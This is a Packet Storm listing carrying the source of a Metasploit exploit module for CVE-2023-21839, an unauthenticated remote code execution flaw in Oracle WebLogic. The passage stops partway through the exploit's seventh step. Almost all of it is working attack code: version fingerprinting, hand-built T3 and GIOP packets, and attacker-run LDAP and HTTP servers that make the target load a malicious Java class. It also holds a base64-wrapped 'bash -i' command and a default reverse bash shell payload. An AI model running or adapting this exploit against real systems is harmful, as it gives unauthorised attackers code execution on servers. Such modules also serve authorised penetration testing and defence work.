Lucene search

K
packetstormGrant Willcox, 4ra1n, 14m3ta7k, metasploit.comPACKETSTORM:172882
HistoryJun 12, 2023 - 12:00 a.m.

Oracle Weblogic PreAuth Remote Command Execution

2023-06-1200:00:00
Grant Willcox, 4ra1n, 14m3ta7k, metasploit.com
packetstormsecurity.com
172

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.929 High

EPSS

Percentile

98.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::Tcp  
include Exploit::Remote::JndiInjection  
prepend Msf::Exploit::Remote::AutoCheck  
  
# Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes.  
GIOP_REQUEST = 0  
GIOP_REPLY = 1  
GIOP_CANCEL_REQUEST = 2  
GIOP_LOCATE_REQUEST = 3  
GIOP_LOCATE_REPLY = 4  
GIOP_CLOSE_CONNECTION = 5  
GIOP_MESSAGE_ERROR = 6  
GIOP_FRAGMENT = 7  
  
# Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF  
SYNCSCOPE_NONE = 0  
SYNCSCOPE_WITH_TRANSPORT = 0  
SYNCSCOPE_WITH_SERVER = 1  
SYNCSCOPE_WITH_TARGET = 3  
  
# Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF  
ADDR_DISPOSITION_KEYADDR = 0  
ADDR_DISPOSITION_PROFILE_ADDR = 1  
ADDR_DISPOSITION_REFERENCE_ADDR = 2  
  
# GIOP Protocol RequestReply Header Codes  
# Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf  
NO_EXCEPTION = 0  
USER_EXCEPTION = 1  
SYSTEM_EXCEPTION = 2  
LOCATION_FORWARD = 3  
  
# GIOP Protocol LocateReply Header Codes  
# Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf  
UNKNOWN_OBJECT = 0  
OBJECT_HERE = 1  
OBJECT_FORWARD = 2  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization',  
'License' => MSF_LICENSE,  
'Author' => [  
'4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC.  
'14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability.  
'Grant Willcox' # @tekwizz123 This Metasploit module  
],  
'Description' => %q{  
Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated  
remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes  
a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the  
object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable,  
which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via  
the "lookup()" function.  
  
This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting  
a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to  
create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java  
code during the instantiation of the object, thereby getting remote code execution as the "oracle" user.  
  
This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will  
then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java  
class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file,  
at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate  
an instance of that class, granting us RCE as the "oracle" user.  
  
This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability  
},  
'References' => [  
['CVE', '2023-21839'],  
['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory  
['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup  
['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP  
['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC  
['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert.  
],  
'Privileged' => false,  
'Targets' => [  
[  
'Linux', {  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD],  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-01-17',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(7001),  
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])  
]  
)  
end  
  
def get_weblogic_version  
socket = connect  
http_request = Rex::Proto::Http::ClientRequest.new(  
{  
'uri' => '/console/login/LoginForm.jsp',  
'vhost' => datastore['RHOST'],  
'port' => datastore['RPORT']  
}  
).to_s  
socket.put(http_request.to_s)  
res = socket.get  
fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res  
  
# Disconnect as we will want a new socket for future connections.  
disconnect  
  
# Do the regex on the result to find the version.  
version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/)  
fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil?  
version = version[1]  
  
Rex::Version.new(version)  
end  
  
def giop_header(msg_type)  
header = ''  
header << 'GIOP' # Magic  
header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol.  
header << "\x00" # Message flags  
case msg_type  
when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT  
header << [msg_type].pack('C')  
else  
fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!')  
end  
header << 'LENGTH_REPLACE_ME'  
end  
  
# LocateRequest packets are used to determine whether an object reference is valid,  
# whether the current server is capable of directly receiving request for the object reference,  
# and if not, to what address the request for the object should be sent.  
#  
# Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27  
def giop_locate_request_packet(keyaddress = 'NameService')  
header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute  
data = ''  
packet = ''  
  
@request_id = 1 if @request_id.nil?  
@request_id += 1  
data << [@request_id].pack('N') # Request ID  
data << [0].pack('n') # TargetAddress, 2 byte field  
data << [0].pack('n') # Padding, 2 bytes  
data << [keyaddress.length].pack('N') # Key Address Length  
data << keyaddress  
  
packet << header  
packet << data  
packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N'))  
  
packet  
end  
  
def create_service_context(vscid, scid, context_data, endian = 0)  
context = ''  
seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length.  
context << vscid # 3 byte long VSCID  
context << [scid].pack('C') # 1 byte long SCID  
context << [seq_length].pack('N') # 4 byte long sequence length  
context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian.  
context << context_data  
  
context  
end  
  
def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length)  
header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute  
data = ''  
packet = ''  
  
@request_id = 1 if @request_id.nil?  
@request_id += 1  
data << [@request_id].pack('N') # Request ID  
data << [sync_scope].pack('C') # Response flags  
data << "\x00\x00\x00" # Reserved  
data << [addr_disposition].pack('n') # TargetAddress, 2 bytes  
data << [0].pack('n') # Two bytes of padding.  
data << [key_address.length].pack('N') # Key Address Length  
data << key_address  
data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?  
data << "rebind_any\x00" # Request Operation  
  
service_context_list = ''  
service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this.  
service_context_list << [context_list_length].pack('N') # Sequence Length  
service_context_list << '{SERVICE_CONTEXT_LIST}'  
  
@java_class_name = 'PayloadRuns'  
ldap_uri = jndi_string(@java_class_name)  
stub_data += [ldap_uri.length].pack('C') + ldap_uri  
  
data << service_context_list  
data << stub_data  
  
packet << header  
packet << data  
  
packet  
end  
  
def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len)  
header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute  
data = ''  
packet = ''  
  
@request_id = 1 if @request_id.nil?  
@request_id += 1  
data << [@request_id].pack('N') # Request ID  
data << [sync_scope].pack('C') # Response flags  
data << "\x00\x00\x00" # Reserved  
data << [addr_disposition].pack('n') # TargetAddress, 2 bytes  
data << [0].pack('n') # Two bytes of padding.  
data << [key_address.length].pack('N') # Key Address Length  
data << key_address  
data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name?  
data << "resolve\x00" # Request Operation  
  
service_context_list = ''  
service_context_list << [context_list_length].pack('N') # Sequence Length  
service_context_list << '{SERVICE_CONTEXT_LIST}'  
  
cos_data = ''  
if cos_naming_disector  
cos_data << "\x00\x00\x00\x00"  
cos_data << [seq_len].pack('N') # Sequence length  
name_component = "test\x00"  
cos_data << [name_component.length].pack('N') # Name component length including NULL byte.  
cos_data << name_component  
cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this.  
end  
  
data << service_context_list  
data << cos_data  
  
packet << header  
packet << data  
  
packet  
end  
  
def check  
begin  
@version = get_weblogic_version  
fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil?  
rescue ::Timeout::Error  
fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')  
rescue Rex::AddressInUse  
fail_with(Failure::BadConfig, 'Address is currently in use')  
rescue Rex::HostUnreachable  
fail_with(Failure::Unreachable, 'Target host is unreachable!')  
rescue Rex::ConnectionRefused  
fail_with(Failure::Disconnected, 'Target refused connection!')  
rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout  
fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.')  
end  
  
if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999'))  
return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!')  
elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999'))  
return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!')  
elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999'))  
return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!')  
else  
return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!')  
end  
end  
  
# HTTP Server Related Functions and Overrides  
  
# Returns the configured URIPATH along with the path to the Java class we are serving  
def resource_uri  
"#{datastore['URIPATH']}/#{@java_class_name}.class"  
end  
  
# Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of  
# this URL when it tries to fetch the class to be loaded and instantiated.  
def ldap_url_string  
"http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/"  
end  
  
#  
# Handle the HTTP request and return a response. Code borrowed from:  
# msf/core/exploit/http/server.rb  
#  
def start_http_service(opts = {})  
# Start a new HTTP server  
@http_service = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
(opts['ServerPort'] || bindport).to_i,  
opts['ServerHost'] || bindhost,  
datastore['SSL'],  
{  
'Msf' => framework,  
'MsfExploit' => self  
},  
opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost),  
datastore['SSLCert'],  
datastore['SSLCompression'],  
datastore['SSLCipher'],  
datastore['SSLVersion']  
)  
@http_service.server_name = datastore['HTTP::server_name']  
# Default the procedure of the URI to on_request_uri if one isn't  
# provided.  
uopts = {  
'Proc' => method(:on_request_uri),  
'Path' => resource_uri  
}.update(opts['Uri'] || {})  
proto = (datastore['SSL'] ? 'https' : 'http')  
  
netloc = opts['ServerHost'] || bindhost  
http_srvport = (opts['ServerPort'] || bindport).to_i  
print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}")  
  
# Add path to resource  
@service_path = uopts['Path']  
@http_service.add_resource(uopts['Path'], uopts)  
end  
  
#  
# Kill HTTP service (shut it down and clear resources)  
#  
def cleanup  
# Stop the LDAP server  
cleanup_service  
  
# Clean and stop HTTP server  
if @http_service  
begin  
@http_service.remove_resource(datastore['URIPATH'])  
@http_service.deref  
@http_service.stop  
@http_service = nil  
rescue StandardError => e  
print_error("Failed to stop http server due to #{e}")  
end  
end  
super  
end  
  
#  
# Handle HTTP requests and responses  
#  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")  
class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'))  
base64_payload = Rex::Text.encode_base64(payload.encoded)  
exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length  
command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length  
class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n'))  
class_raw = class_raw.gsub('PAYLOAD', base64_payload)  
send_response(cli, 200, 'OK', class_raw)  
end  
  
#  
# Create an HTTP response and then send it  
#  
def send_response(cli, code, message = 'OK', html = '')  
proto = Rex::Proto::Http::DefaultProtocol  
res = Rex::Proto::Http::Response.new(code, message, proto)  
res.body = html  
cli.send_response(res)  
end  
  
# LDAP Server Overrides  
def build_ldap_search_response_payload  
# Always do a remote load  
# Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.  
# You can add anchor tags using # to the URL but thats it.  
build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)  
end  
  
# Main Exploit  
def exploit  
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0  
fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!')  
end  
  
if @version.blank?  
@version = get_weblogic_version  
end  
  
# Step 1 - Make T3 connection to start IIOP connection process, and read response.  
socket = connect  
print_status('1. Making T3 connection...')  
socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n")  
_buf = socket.get  
disconnect  
print_good('Made T3 connection!')  
  
# Step 2 - Send first GIOP LocateRequest packet  
print_status('2. Sending first GIOP LocateRequest packet')  
# Make a GIOP LocateRequest packet request and read response.  
socket = connect  
socket.put(giop_locate_request_packet)  
locate_buf = socket.get  
disconnect  
print_good('Step 2 complete!')  
  
reply_status = locate_buf[16..19].unpack('N')&.dig(0)  
if reply_status != OBJECT_FORWARD  
fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!')  
end  
  
# Calculate the target port  
  
# Start at offset 0x60 which will be inside the GIOP's LocateReply message,  
# and will be where the IP address is located in the IOR response.  
port_offset = 0x60  
  
# Starting at this offset above, loop until we hit a zero byte in the IOR buffer.  
# This works because the PORT number is represented as a 4 byte long number, aka 32 bits,  
# and the upper part will never be used. Either that or there is a \x00\x00 padding section  
# between the IP address and the port.  
loop do  
if locate_buf[port_offset] != "\x00"  
port_offset += 0x1  
else  
break  
end  
end  
  
# If port_offset is too large by this point then we have likely hit an error and should exit  
if port_offset > 10240  
fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!')  
end  
  
# Now, loop until we hit a non-zero byte in the IOR buffer. This should  
# place at the location of the port part of the IP address that is embedded in the IOR message.  
loop do  
if locate_buf[port_offset] == "\x00"  
port_offset += 0x1  
else  
break  
end  
end  
  
port = []  
port.append(locate_buf[port_offset])  
port_offset += 1  
port.append(locate_buf[port_offset])  
  
# Reformulate the port number from the array so we can get the actual port the target server is expecting us to use.  
final_port = port[1].bytes[0] | (port[0].bytes[0] << 8)  
  
# Fail if the received port is not the one we expected.  
if final_port != datastore['RPORT']  
fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}")  
end  
  
lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message.  
foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5zοΏ½U  
  
loop do  
if locate_buf[foff] == "\x00"  
foff += 0x1  
else  
break  
end  
end  
  
key1 = locate_buf[foff...foff + 8]  
key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8]  
  
if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13')  
wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \  
"\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \  
"\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \  
"\x00\x00\x00\x00\x00\x00\x00{{key1}}"  
wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \  
"\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \  
"\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \  
"\x00\x00\x00\x00\x00\x00\x00{{key1}}"  
elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15')  
wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \  
"\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \  
"\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \  
"\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \  
"\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"  
wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \  
"\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \  
"\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \  
"\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \  
"\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}"  
else  
fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!')  
end  
  
wls_key_1.gsub!('{{key1}}', key1)  
  
# Step 3 - Make a rebindAny request  
key_addr = wls_key_1  
stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \  
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \  
"\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \  
"\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \  
"\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00"  
socket = connect  
packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6)  
  
context_data = ''  
@service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b")  
@service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01")  
@service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01")  
  
context_data << @service_context_0  
context_data << @service_context_1  
context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \  
"\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \  
"\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \  
"\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \  
"\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \  
"\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \  
"\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01")  
context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00")  
context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")  
context_data << @service_context_2  
  
packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)  
  
# To find the true message size:  
# 1. Subtract an extra 12 bytes for GIOP header.  
# 2. Then subtract length of the LENGTH_REPLACE_ME string.  
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.  
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4  
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))  
  
print_status('3. Sending rebindAny request!')  
socket.put(packet)  
rebind_any_buf = socket.get  
disconnect  
print_good('Step 3 complete!')  
  
reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0)  
if reply_status_code != LOCATION_FORWARD  
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")  
end  
  
start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime  
0xac + lt + # IOR ProfileHost ProfilePort  
0x5d # ObjectKey Prefix  
  
while rebind_any_buf[start_off] != 0x32  
if start_off > 0x2710  
break  
end  
  
start_off += 1  
end  
  
if start_off > 0x2710  
key3 = "\x32\x38\x39\x00"  
else  
key3 = rebind_any_buf[start_off...start_off + 4]  
end  
  
wls_key_2.gsub!('{{key3}}', key3)  
wls_key_2.gsub!('{{key1}}', key1)  
  
# Step 4 - rebind_any Request Again???  
socket = connect  
key_addr = wls_key_2  
packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4)  
  
context_data = ''  
context_data << @service_context_0  
context_data << @service_context_1  
context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")  
context_data << @service_context_2  
  
packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)  
  
# To find the true message size:  
# 1. Subtract an extra 12 bytes for GIOP header.  
# 2. Then subtract length of the LENGTH_REPLACE_ME string.  
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.  
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4  
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))  
  
print_status('4. Sending second rebindAny request!')  
socket.put(packet)  
rebind_any_buf_2 = socket.get  
disconnect  
print_good('Step 4 complete!')  
  
reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0)  
if reply_status_code != NO_EXCEPTION  
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!")  
end  
  
# Step 5 - Send second GIOP LocateRequest packet  
print_status('5. Sending second GIOP LocateRequest packet')  
socket = connect  
socket.put(giop_locate_request_packet)  
locate_buf_two = socket.get  
disconnect  
print_good('Step 5 complete!')  
  
reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0)  
if reply_status_code != OBJECT_FORWARD  
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!")  
end  
  
# Step 6 - Resolve packet #1 with wls_key_1  
key_addr = wls_key_1  
packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)  
  
context_data = ''  
context_data << @service_context_0  
context_data << @service_context_1  
context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")  
context_data << @service_context_2  
  
packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data)  
  
# To find the true message size:  
# 1. Subtract an extra 12 bytes for GIOP header.  
# 2. Then subtract length of the LENGTH_REPLACE_ME string.  
# 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field.  
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4  
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))  
  
print_status('6. Sending resolve packet #1 with wls_key_1')  
socket = connect  
socket.put(packet)  
resolve_packet_wls_key_1 = socket.get  
disconnect  
print_good('Step 6 complete!')  
  
reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0)  
if reply_status_code != LOCATION_FORWARD  
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!")  
end  
  
# Step 7 - Resolve packet #2 with wls_key_2  
key_addr = wls_key_2  
packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1)  
  
context_data = ''  
context_data << @service_context_0  
context_data << @service_context_1  
context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00")  
context_data << @service_context_2  
  
